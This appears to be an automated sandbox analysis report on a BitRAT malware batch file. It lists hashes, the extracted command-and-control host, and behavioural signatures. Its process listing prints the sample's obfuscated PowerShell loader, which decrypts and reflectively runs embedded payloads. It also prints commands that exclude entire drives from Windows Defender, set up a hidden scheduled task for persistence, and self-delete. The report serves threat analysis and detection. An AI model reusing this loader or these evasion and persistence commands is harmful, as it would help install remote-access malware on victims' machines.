Analysis
-
max time kernel
158s -
max time network
160s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
24-09-2023 13:47
Static task
static1
Behavioral task
behavioral1
Sample
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat
Resource
win7-20230831-en
General
-
Target
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat
-
Size
2.6MB
-
MD5
12d05ccce56b71317838c1f70c434fdd
-
SHA1
db2b6548661dc0ad3c19439989e1c36bf62a9ca7
-
SHA256
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e
-
SHA512
79c4c072efba2838d053dd3912484e4138371eac29bd556e344c62abc1b49313bf562fcc6c613c7756c6d24ecc4203336da5aacaf9d4602eb8c5d6caa45053b2
-
SSDEEP
24576:MFz0PTLOQXlNvJ9ZosU5cqcczDvwcbpSWwHt6H5P+gRnBrqYxvcpXKX6saNpWJcU:bNWTfSWwU8i8esRx7rXDdOuGC+ewAtg
Malware Config
Extracted
bitrat
1.38
moonli.ddnsking.com:1234
-
communication_password
81dc9bdb52d04dc20036dbd8313ed055
-
tor_process
tor
Signatures
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exeNetwork42453Man.cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe Key value queried \REGISTRY\USER\S-1-5-21-1045988481-1457812719-2617974652-1000\Control Panel\International\Geo\Nation Network42453Man.cmd.exe -
Executes dropped EXE 2 IoCs
Processes:
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exeNetwork42453Man.cmd.exepid process 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe 4056 Network42453Man.cmd.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
Network42453Man.cmd.exepid process 4056 Network42453Man.cmd.exe 4056 Network42453Man.cmd.exe 4056 Network42453Man.cmd.exe 4056 Network42453Man.cmd.exe 4056 Network42453Man.cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 24 IoCs
Processes:
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exepowershell.exepowershell.exepowershell.exepowershell.exeNetwork42453Man.cmd.exepowershell.exepowershell.exepowershell.exepid process 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe 440 powershell.exe 440 powershell.exe 2820 powershell.exe 2820 powershell.exe 440 powershell.exe 2820 powershell.exe 440 powershell.exe 440 powershell.exe 772 powershell.exe 772 powershell.exe 2360 powershell.exe 2360 powershell.exe 4056 Network42453Man.cmd.exe 4056 Network42453Man.cmd.exe 4844 powershell.exe 4036 powershell.exe 4844 powershell.exe 4036 powershell.exe 4844 powershell.exe 4844 powershell.exe 3088 powershell.exe 3088 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exepowershell.exepowershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe Token: SeDebugPrivilege 440 powershell.exe Token: SeDebugPrivilege 2820 powershell.exe Token: SeDebugPrivilege 772 powershell.exe Token: SeIncreaseQuotaPrivilege 772 powershell.exe Token: SeSecurityPrivilege 772 powershell.exe Token: SeTakeOwnershipPrivilege 772 powershell.exe Token: SeLoadDriverPrivilege 772 powershell.exe Token: SeSystemProfilePrivilege 772 powershell.exe Token: SeSystemtimePrivilege 772 powershell.exe Token: SeProfSingleProcessPrivilege 772 powershell.exe Token: SeIncBasePriorityPrivilege 772 powershell.exe Token: SeCreatePagefilePrivilege 772 powershell.exe Token: SeBackupPrivilege 772 powershell.exe Token: SeRestorePrivilege 772 powershell.exe Token: SeShutdownPrivilege 772 powershell.exe Token: SeDebugPrivilege 772 powershell.exe Token: SeSystemEnvironmentPrivilege 772 powershell.exe Token: SeRemoteShutdownPrivilege 772 powershell.exe Token: SeUndockPrivilege 772 powershell.exe Token: SeManageVolumePrivilege 772 powershell.exe Token: 33 772 powershell.exe Token: 34 772 powershell.exe Token: 35 772 powershell.exe Token: 36 772 powershell.exe Token: SeDebugPrivilege 2360 powershell.exe Token: SeIncreaseQuotaPrivilege 2360 powershell.exe Token: SeSecurityPrivilege 2360 powershell.exe Token: SeTakeOwnershipPrivilege 2360 powershell.exe Token: SeLoadDriverPrivilege 2360 powershell.exe Token: SeSystemProfilePrivilege 2360 powershell.exe Token: SeSystemtimePrivilege 2360 powershell.exe Token: SeProfSingleProcessPrivilege 2360 powershell.exe Token: SeIncBasePriorityPrivilege 2360 powershell.exe Token: SeCreatePagefilePrivilege 2360 powershell.exe Token: SeBackupPrivilege 2360 powershell.exe Token: SeRestorePrivilege 2360 powershell.exe Token: SeShutdownPrivilege 2360 powershell.exe Token: SeDebugPrivilege 2360 powershell.exe Token: SeSystemEnvironmentPrivilege 2360 powershell.exe Token: SeRemoteShutdownPrivilege 2360 powershell.exe Token: SeUndockPrivilege 2360 powershell.exe Token: SeManageVolumePrivilege 2360 powershell.exe Token: 33 2360 powershell.exe Token: 34 2360 powershell.exe Token: 35 2360 powershell.exe Token: 36 2360 powershell.exe Token: SeIncreaseQuotaPrivilege 2360 powershell.exe Token: SeSecurityPrivilege 2360 powershell.exe Token: SeTakeOwnershipPrivilege 2360 powershell.exe Token: SeLoadDriverPrivilege 2360 powershell.exe Token: SeSystemProfilePrivilege 2360 powershell.exe Token: SeSystemtimePrivilege 2360 powershell.exe Token: SeProfSingleProcessPrivilege 2360 powershell.exe Token: SeIncBasePriorityPrivilege 2360 powershell.exe Token: SeCreatePagefilePrivilege 2360 powershell.exe Token: SeBackupPrivilege 2360 powershell.exe Token: SeRestorePrivilege 2360 powershell.exe Token: SeShutdownPrivilege 2360 powershell.exe Token: SeDebugPrivilege 2360 powershell.exe Token: SeSystemEnvironmentPrivilege 2360 powershell.exe Token: SeRemoteShutdownPrivilege 2360 powershell.exe Token: SeUndockPrivilege 2360 powershell.exe Token: SeManageVolumePrivilege 2360 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
Network42453Man.cmd.exepid process 4056 Network42453Man.cmd.exe 4056 Network42453Man.cmd.exe -
Suspicious use of WriteProcessMemory 32 IoCs
Processes:
cmd.execmd.exec222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.execmd.exeNetwork42453Man.cmd.exedescription pid process target process PID 4340 wrote to memory of 4436 4340 cmd.exe cmd.exe PID 4340 wrote to memory of 4436 4340 cmd.exe cmd.exe PID 4436 wrote to memory of 4608 4436 cmd.exe c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe PID 4436 wrote to memory of 4608 4436 cmd.exe c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe PID 4436 wrote to memory of 4608 4436 cmd.exe c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe PID 4608 wrote to memory of 440 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 440 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 440 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 2820 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 2820 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 2820 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 772 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 772 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 772 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 2360 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 2360 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 2360 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe powershell.exe PID 4608 wrote to memory of 3360 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe cmd.exe PID 4608 wrote to memory of 3360 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe cmd.exe PID 4608 wrote to memory of 3360 4608 c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe cmd.exe PID 3360 wrote to memory of 4056 3360 cmd.exe Network42453Man.cmd.exe PID 3360 wrote to memory of 4056 3360 cmd.exe Network42453Man.cmd.exe PID 3360 wrote to memory of 4056 3360 cmd.exe Network42453Man.cmd.exe PID 4056 wrote to memory of 4844 4056 Network42453Man.cmd.exe powershell.exe PID 4056 wrote to memory of 4844 4056 Network42453Man.cmd.exe powershell.exe PID 4056 wrote to memory of 4844 4056 Network42453Man.cmd.exe powershell.exe PID 4056 wrote to memory of 4036 4056 Network42453Man.cmd.exe powershell.exe PID 4056 wrote to memory of 4036 4056 Network42453Man.cmd.exe powershell.exe PID 4056 wrote to memory of 4036 4056 Network42453Man.cmd.exe powershell.exe PID 4056 wrote to memory of 3088 4056 Network42453Man.cmd.exe powershell.exe PID 4056 wrote to memory of 3088 4056 Network42453Man.cmd.exe powershell.exe PID 4056 wrote to memory of 3088 4056 Network42453Man.cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat2⤵
- Suspicious use of WriteProcessMemory
PID:4436 -
C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe"C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exe" -w hidden -c $apqR='LMJyQoaMJyQdMJyQ'.Replace('MJyQ', ''),'DecEzhXomEzhXprEzhXeEzhXsEzhXsEzhX'.Replace('EzhX', ''),'FHipDrHipDoHipDmHipDBasHipDe6HipD4SHipDtrHipDingHipD'.Replace('HipD', ''),'ReaGlTbdLiGlTbneGlTbsGlTb'.Replace('GlTb', ''),'CoHbpApHbpAyTHbpAoHbpA'.Replace('HbpA', ''),'MaEheginEhegMoEhegduEheglEhegeEheg'.Replace('Eheg', ''),'TroOznansoOznfooOznroOznmFoOzninaoOznloOznBloOznockoOzn'.Replace('oOzn', ''),'ChSshoanSshogeSshoESshoxSshotSshoeSshonsiSshooSshonSsho'.Replace('Ssho', ''),'EnnHrXtrynHrXPnHrXoinnHrXtnHrX'.Replace('nHrX', ''),'IndGVtvodGVtkedGVt'.Replace('dGVt', ''),'ElSdypemSdypeSdypntSdypAtSdyp'.Replace('Sdyp', ''),'SpuMPtliuMPttuMPt'.Replace('uMPt', ''),'GaSlAeaSlAtaSlACuaSlAraSlAreaSlAntaSlAPaSlAraSlAocaSlAesaSlAsaSlA'.Replace('aSlA', ''),'CrUNafeUNafatUNafeUNafDecUNafryUNafptUNafoUNafrUNaf'.Replace('UNaf', '');function pOCfZ($gekvJ){$BSBXA=[System.Security.Cryptography.Aes]::Create();$BSBXA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BSBXA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BSBXA.Key=[System.Convert]::($apqR[2])('zBdPf8AkDtINuDPE/A2HyG7nwgGIz2wO8zG9RRZ4V9A=');$BSBXA.IV=[System.Convert]::($apqR[2])('xa/+kPbivBu87Qs+xDhCVw==');$JTIYa=$BSBXA.($apqR[13])();$Yaopt=$JTIYa.($apqR[6])($gekvJ,0,$gekvJ.Length);$JTIYa.Dispose();$BSBXA.Dispose();$Yaopt;}function PqvPo($gekvJ){$Pbfvo=New-Object System.IO.MemoryStream(,$gekvJ);$ojhOO=New-Object System.IO.MemoryStream;$Oxkfy=New-Object System.IO.Compression.GZipStream($Pbfvo,[IO.Compression.CompressionMode]::($apqR[1]));$Oxkfy.($apqR[4])($ojhOO);$Oxkfy.Dispose();$Pbfvo.Dispose();$ojhOO.Dispose();$ojhOO.ToArray();}$atogv=[System.Linq.Enumerable]::($apqR[10])([System.IO.File]::($apqR[3])([System.IO.Path]::($apqR[7])([System.Diagnostics.Process]::($apqR[12])().($apqR[5]).FileName, $null)), 1);$MrHap=$atogv.Substring(2).($apqR[11])(':');$llRaa=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[0])));$VSAoW=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[1])));[System.Reflection.Assembly]::($apqR[0])([byte[]]$VSAoW).($apqR[8]).($apqR[9])($null,$null);[System.Reflection.Assembly]::($apqR[0])([byte[]]$llRaa).($apqR[8]).($apqR[9])($null,$null);3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4608);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:440 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2820 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC')4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:772 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 42453' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Network42453Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2360 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Network42453Man.cmd" "4⤵
- Suspicious use of WriteProcessMemory
PID:3360 -
C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exe"C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exe" -w hidden -c $apqR='LMJyQoaMJyQdMJyQ'.Replace('MJyQ', ''),'DecEzhXomEzhXprEzhXeEzhXsEzhXsEzhX'.Replace('EzhX', ''),'FHipDrHipDoHipDmHipDBasHipDe6HipD4SHipDtrHipDingHipD'.Replace('HipD', ''),'ReaGlTbdLiGlTbneGlTbsGlTb'.Replace('GlTb', ''),'CoHbpApHbpAyTHbpAoHbpA'.Replace('HbpA', ''),'MaEheginEhegMoEhegduEheglEhegeEheg'.Replace('Eheg', ''),'TroOznansoOznfooOznroOznmFoOzninaoOznloOznBloOznockoOzn'.Replace('oOzn', ''),'ChSshoanSshogeSshoESshoxSshotSshoeSshonsiSshooSshonSsho'.Replace('Ssho', ''),'EnnHrXtrynHrXPnHrXoinnHrXtnHrX'.Replace('nHrX', ''),'IndGVtvodGVtkedGVt'.Replace('dGVt', ''),'ElSdypemSdypeSdypntSdypAtSdyp'.Replace('Sdyp', ''),'SpuMPtliuMPttuMPt'.Replace('uMPt', ''),'GaSlAeaSlAtaSlACuaSlAraSlAreaSlAntaSlAPaSlAraSlAocaSlAesaSlAsaSlA'.Replace('aSlA', ''),'CrUNafeUNafatUNafeUNafDecUNafryUNafptUNafoUNafrUNaf'.Replace('UNaf', '');function pOCfZ($gekvJ){$BSBXA=[System.Security.Cryptography.Aes]::Create();$BSBXA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$BSBXA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$BSBXA.Key=[System.Convert]::($apqR[2])('zBdPf8AkDtINuDPE/A2HyG7nwgGIz2wO8zG9RRZ4V9A=');$BSBXA.IV=[System.Convert]::($apqR[2])('xa/+kPbivBu87Qs+xDhCVw==');$JTIYa=$BSBXA.($apqR[13])();$Yaopt=$JTIYa.($apqR[6])($gekvJ,0,$gekvJ.Length);$JTIYa.Dispose();$BSBXA.Dispose();$Yaopt;}function PqvPo($gekvJ){$Pbfvo=New-Object System.IO.MemoryStream(,$gekvJ);$ojhOO=New-Object System.IO.MemoryStream;$Oxkfy=New-Object System.IO.Compression.GZipStream($Pbfvo,[IO.Compression.CompressionMode]::($apqR[1]));$Oxkfy.($apqR[4])($ojhOO);$Oxkfy.Dispose();$Pbfvo.Dispose();$ojhOO.Dispose();$ojhOO.ToArray();}$atogv=[System.Linq.Enumerable]::($apqR[10])([System.IO.File]::($apqR[3])([System.IO.Path]::($apqR[7])([System.Diagnostics.Process]::($apqR[12])().($apqR[5]).FileName, $null)), 1);$MrHap=$atogv.Substring(2).($apqR[11])(':');$llRaa=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[0])));$VSAoW=PqvPo (pOCfZ ([Convert]::($apqR[2])($MrHap[1])));[System.Reflection.Assembly]::($apqR[0])([byte[]]$VSAoW).($apqR[8]).($apqR[9])($null,$null);[System.Reflection.Assembly]::($apqR[0])([byte[]]$llRaa).($apqR[8]).($apqR[9])($null,$null);5⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(4056);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b;6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4844 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')6⤵
- Suspicious behavior: EnumeratesProcesses
PID:4036 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\Network42453Man')6⤵
- Suspicious behavior: EnumeratesProcesses
PID:3088
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x4f8 0x5101⤵PID:428
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
53KB
MD5205bd7f6c63286a4adf4d3c4825f5016
SHA141710da3a0a539017536a645471f83c826b0c089
SHA25683dcc573695424f959517555a406e8850f76462d1414a2a75054cb0a4e5a2b8b
SHA5124ee9944b9a2f8e1826699658464ef2ef0bb8adc46f0105056e62d691ca2ea4085b7764e597563923e1a22d45a22049737b2d42aab6a7efdc3ae29a163a173a2d
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
53KB
MD506ad34f9739c5159b4d92d702545bd49
SHA19152a0d4f153f3f40f7e606be75f81b582ee0c17
SHA256474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba
SHA512c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
18KB
MD5a120a8a9c1a1f25495c20be3ecfbdb5c
SHA14ada27df5c15d774d1df76fa0c6d36ee77993544
SHA25644484d613748a7a13fdf4f8dbbf5506d07bc2b7675569ab7c05653246ca9d74a
SHA512dbbb691a812e91ddc446a9bd79156471c70488586b6557e228cca86a6ea20315b83a201d78e1e43cfb48225427f3ba4dc2611ec613174bc494e910d0e8e169b3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
19KB
MD5f5d68907273c4f6d68dec8323c0d649b
SHA1aa454e20a1e9e0925a175e1625ec929c7035a84e
SHA2567c1feeb0095ea8f572dac4262191ac2508fb6223d174da0d38edb82172f75b48
SHA51232f8b91eea3ea45dafdf4882f2fcdf37137e64ffe9f7abd6dce3c1880913cd69a711a52af5c9a993967087fe59ed655400b99e9a8070ea151e97fd4c954bf21d
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
17KB
MD580113d20f55f9bb7e5c9e421fac16db0
SHA10738a2399ec8de7672e1ee900743b2405baf2277
SHA2567b37f79596248f830bf74556878fb1c354d945df3a2e4bbae3c10e11e06c4d5f
SHA51231c01acdd41907de840309ac25714d1ce8cb6a57064692ed89fb7e4954bcec7816282cb8cd953522e1801732fb28900ef207e0d74e5861b63c43da8f757305e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
17KB
MD580113d20f55f9bb7e5c9e421fac16db0
SHA10738a2399ec8de7672e1ee900743b2405baf2277
SHA2567b37f79596248f830bf74556878fb1c354d945df3a2e4bbae3c10e11e06c4d5f
SHA51231c01acdd41907de840309ac25714d1ce8cb6a57064692ed89fb7e4954bcec7816282cb8cd953522e1801732fb28900ef207e0d74e5861b63c43da8f757305e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
14KB
MD5f8a57f0bb72ce552c910662a95e85850
SHA1dd147c686080092b8cc4d2c2426a2cc747832f1a
SHA2568ecbe7f82991f3078d3450e8422fea67ec3b425fbe2c4389428c3759f998c481
SHA512e9784a1e975354b7472255941d11d667df34b3ee53eac03a36b3543780494d2501d0969374882cbaf476fea448aa3ad30f75d19a20df4b3fee558f150f876022
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
17KB
MD54426758a0aa7d736c6d4f34d6395c87c
SHA11496e1b292a0305c0fc571a66769daad8e6de5b1
SHA2565708eecfbbe0b7189d9790c4d6613f817cfd03da004b8f8e131962ba6d9f0954
SHA5125d110d77ca208f3947d67be662e60eaa3081c0bef52390ad0184e9bb43b238789a30d04503fffb476f5b078b8b41bc632cfff0479f1ed01fee439c200f644497
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tfotlnci.pwt.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
C:\Users\Admin\AppData\Local\Temp\c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e_JC.bat.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
C:\Users\Admin\AppData\Roaming\Network42453Man.cmdFilesize
2.6MB
MD512d05ccce56b71317838c1f70c434fdd
SHA1db2b6548661dc0ad3c19439989e1c36bf62a9ca7
SHA256c222b81571013219fd99f7ca5fefa350d6aabd28b03bbc819048a67570db274e
SHA51279c4c072efba2838d053dd3912484e4138371eac29bd556e344c62abc1b49313bf562fcc6c613c7756c6d24ecc4203336da5aacaf9d4602eb8c5d6caa45053b2
-
C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
C:\Users\Admin\AppData\Roaming\Network42453Man.cmd.exeFilesize
423KB
MD5c32ca4acfcc635ec1ea6ed8a34df5fac
SHA1f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919
SHA25673a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
SHA5126e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc
-
memory/440-33-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/440-34-0x0000000004AF0000-0x0000000004B00000-memory.dmpFilesize
64KB
-
memory/440-75-0x0000000004AF0000-0x0000000004B00000-memory.dmpFilesize
64KB
-
memory/440-76-0x0000000004AF0000-0x0000000004B00000-memory.dmpFilesize
64KB
-
memory/440-153-0x0000000006220000-0x0000000006242000-memory.dmpFilesize
136KB
-
memory/440-152-0x0000000004AF0000-0x0000000004B00000-memory.dmpFilesize
64KB
-
memory/440-73-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/440-35-0x0000000004AF0000-0x0000000004B00000-memory.dmpFilesize
64KB
-
memory/772-111-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/772-95-0x0000000002480000-0x0000000002490000-memory.dmpFilesize
64KB
-
memory/772-94-0x0000000002480000-0x0000000002490000-memory.dmpFilesize
64KB
-
memory/772-93-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/772-108-0x00000000747F0000-0x0000000074FA0000-memory.dmpFilesize
7.7MB
-
memory/772-110-0x0000000002480000-0x0000000002490000-memory.dmpFilesize
64KB
-
memory/772-107-0x0000000002480000-0x0000000002490000-memory.dmpFilesize
64KB
-
